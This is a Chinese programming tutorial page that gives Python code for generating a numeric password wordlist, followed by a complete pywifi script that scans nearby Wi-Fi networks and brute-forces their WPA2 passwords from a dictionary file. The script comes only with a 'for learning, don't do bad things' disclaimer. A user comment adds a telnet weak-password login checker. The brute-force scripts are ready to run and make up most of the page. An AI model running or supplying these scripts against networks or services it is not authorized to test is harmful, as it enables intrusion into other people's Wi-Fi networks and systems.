标签分类
技术文章
当前位置:主页 > 计算机编程 > python > python生成密码字典的方法

python生成密码字典的实例代码方法

  • 发布时间:
  • 作者:码农之家原创
  • 点击:152

python生成密码字典的方法

这篇文章主要知识点是关于python,密码字典,python生成密码字典的方法,Python利用字典破解WIFI密码的方法 的内容,如果大家想对相关知识点有系统深入的学习,可以参阅以下电子书

机器学习:Python实践
  • 类型:人工智能大小:124.7 MB格式:PDF出版:电子工业出版社作者:魏贞原
立即下载

更多相关的学习资源可以参阅 计算机认证考试电子书移动开发电子书、等栏目。

这里我使用的是python27

主要用的是我之前博文里提到的itertools循环迭代的模块,用这个模块可以省不少事

首先要调用itertools

import itertools as its

然后将字典需要的元素(或者说是关键字)赋给word变量

我们这里假设密码是纯数字,所以元素就是1234567890

即代码

words = "1234568790"

假设密码是4位,那么需要元素在迭代器中循环4次,即

r =its.product(words,repeat=4)

接着我们创建一个文档,用来写入生成的密码

dic = open("pass.txt","a")

接着我们需要依次将密码输入文档,可以用循环实现,这里注意,密码与密码之间需要回车换行,所以我们用来“\n”转义字符

for i in r:
 dic.write("".join(i))
 dic.write("".join("\n"))

然后关闭文档

dic.close()

完整代码如下

import itertools as its
words = "1234568790"
r =its.product(words,repeat=4)
dic = open("pass.txt","a")
for i in r:
 dic.write("".join(i))
 dic.write("".join("\n"))
dic.close()

效果如图:

python生成密码字典的方法

以上这篇python生成密码字典的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持码农之家。

Python利用字典破解WIFI密码的方法

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对码农之家的支持。如果你想了解更多相关内容请查看下面相关链接

以上就是本次给大家分享的全部知识点内容总结,大家还可以在下方相关文章里找到儿童python编程入门书籍推、 解决axios.interceptors.respon、 vue项目中使用md5加密以及、 等python文章进一步学习,感谢大家的阅读和支持。

上一篇:python将bmp转换为jpg格式并删除原图的具体操作

下一篇:numpy的文件存储.npy .npz文件具体方法

展开 +

收起 -

学习笔记
网友NO.149850

对python使用telnet实现弱密码登录的方法详解

系统环境: 64位win7企业版 python2.7.10 2016.08.16修改内容: 1)read_until()函数是可以设置timeout的,之前不能获取到password之后的返回是因为调用read_some()函数次数不够,没有读取到返回信息 2)如果不设置read_until()函数的timeout值,那么程序将一直建立连接而不会关闭,导致程序永远没有返回,所以设置timeout还是有必要的 3)不同服务器返回的内容是不一样的,例如网络设备radware返回就不是"login:",而是"user:",有的password的p是大写的,所以匹配"assword:"比较好。并且,不同服务器返回到的用户密码错误提示也是不一样的,可以在python控制台先试试再去写代码。 def check_23_port(ip,username,passwd): try: tn=telnetlib.Telnet()# #tn.set_debuglevel(0),设置为2可以看到更多信息 tn.open(host=ip) tn.read_until('login:')#这里设置timeout=10比较好,否则如果不能匹配字符串,这个连接将一直建立,程序不会返回 tn.write(username+'\r\n') tn.read_until('password:') tn.write(passwd+'\r\n') tn.read_some()#为result准备数据,可能需要多调用几次才能够获取到服务器返回的信息"Login Failed" result = tn.read_some()#这里调用两次,不同的操作系统返回的不一样,AIX linux返回的是invalid rex = r'Login Failed' tmp = re.search(rex,result) if tmp == None: return True else: return False tn.write("exit\r\n") tn.close() except Exception as e: pass print "c……

网友NO.741354

python连接mongodb密码认证实例

如下所示: from pymongo import MongoClient#建立和数据库系统的连接,指定host及port参数client = MongoClient('localhost', 27017)#连接mydb数据库,账号密码认证db = client.mydbdb.authenticate("account", "password")#连接表collection = db.myset#查看全部表名称db.collection_names()print db.collection_names()#访问表的数据,过滤查询item = collection.find({},{"name":1,"age":21})for rows in item: print rows.values()#访问表的一行数据print collection.find_one() 以上这篇python连接mongodb密码认证实例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持码农之家。 ……

<
1
>

Copyright 2018-2019 xz577.com 码农之家

版权责任说明